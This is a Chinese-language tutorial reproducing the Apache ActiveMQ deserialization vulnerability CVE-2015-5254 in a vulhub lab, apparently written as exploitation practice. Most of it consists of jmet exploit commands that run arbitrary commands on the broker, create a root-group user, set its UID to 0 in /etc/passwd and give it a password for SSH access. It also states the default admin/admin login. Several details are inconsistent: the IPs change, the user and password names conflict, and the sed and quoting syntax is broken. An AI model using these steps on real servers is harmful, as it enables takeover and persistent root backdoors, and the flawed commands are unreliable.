(CVE-2015-5254)ActiveMQ 反序列化漏洞复现
漏洞描述
Apache ActiveMQ 是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持 Java 消息服务,集群,Spring Framework 等。Apache ActiveMQ 5.13.0之前 5.x 版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的 Java 消息服务(JMS)ObjectMessage 对象利用该漏洞执行任意代码。
漏洞影响版本
Apache ActiveMQ 5.13.0 之前的版本
漏洞环境
kali :192.168.18.151
命令执行操作
-
打开vulhub漏洞环境(CVE-2015-5254)
环境运行后,将监听 61616 和 8161 两个端口其中 61616 是工作端口,消息在这个端口进行传递;8161 是网络管理页面端口访问 http://your-ip:8161 即可看到网络管理页面
-
访问192.168.18.151:8161,登录账户、默认密码(admin、admin)
-
使用 jmet 进行漏洞利用,下载 jmet 的 jar 文件,并在同目录下创建一个 external 文件夹。
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar mkdir external (可以用linux也可以用windows下载,随自己)
-
执行命令
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 192.168.18.151 61616
查看目标的 ActiveMQ 管理页面,发现添加了一个队列。
-
点击查看消息即可触发命令执行
此时进入容器,可以发现tmp文件夹已被创建
docker exec -it 81f86bcb730d /bin/bash ls
添加用户操作
-
执行 jmet 的命令添加 dmy 用户并将其添加到 root 组,返回192.168.110.134:8161/admin/browse.jsp?JMSDestination=event 页面,点击一下消息,触发它:
java -jar jmet-0.1.0-all.jar.1 -Q event -I ActiveMQ -s -Y "useradd -g root -s /bin/bash -u 10010 dmy" -Yp ROME 192.168.110.134 61616
-
让我们再将 passwd 中的 test 的 uid 修改为 0,使它拥有 root 权限,返回192.168.110.134:8161/admin/browse.jsp?JMSDestination=event 页面,点击一下消息,触发它
java -jar jmet-0.1.0-all.jar.1 -Q event -I ActiveMQ -s -Y "sed -i "s/dmy:x10010/dmy:x0/g" /etc/passwd" -Yp ROME 192.168.110.134 61616
-
让我们再为 test 用户设置一个密码,返回192.168.110.134:8161/admin/browse.jsp?JMSDestination=event 页面,点击一下消息,触发它
java -jar jmet-0.1.0-all.jar.1 -Q event -I ActiveMQ -s -Y "echo "dmy:sd123456" | chpasswd" -Yp ROME 192.168.110.134 61616
到此为止,一个权限为 root,密码为 123456 的用户即创建完毕。我们可以使用 ssh直接远程登陆进入操作系统,并且还是最高权限。
cat /etc/passwd 查看用户权限
参考链接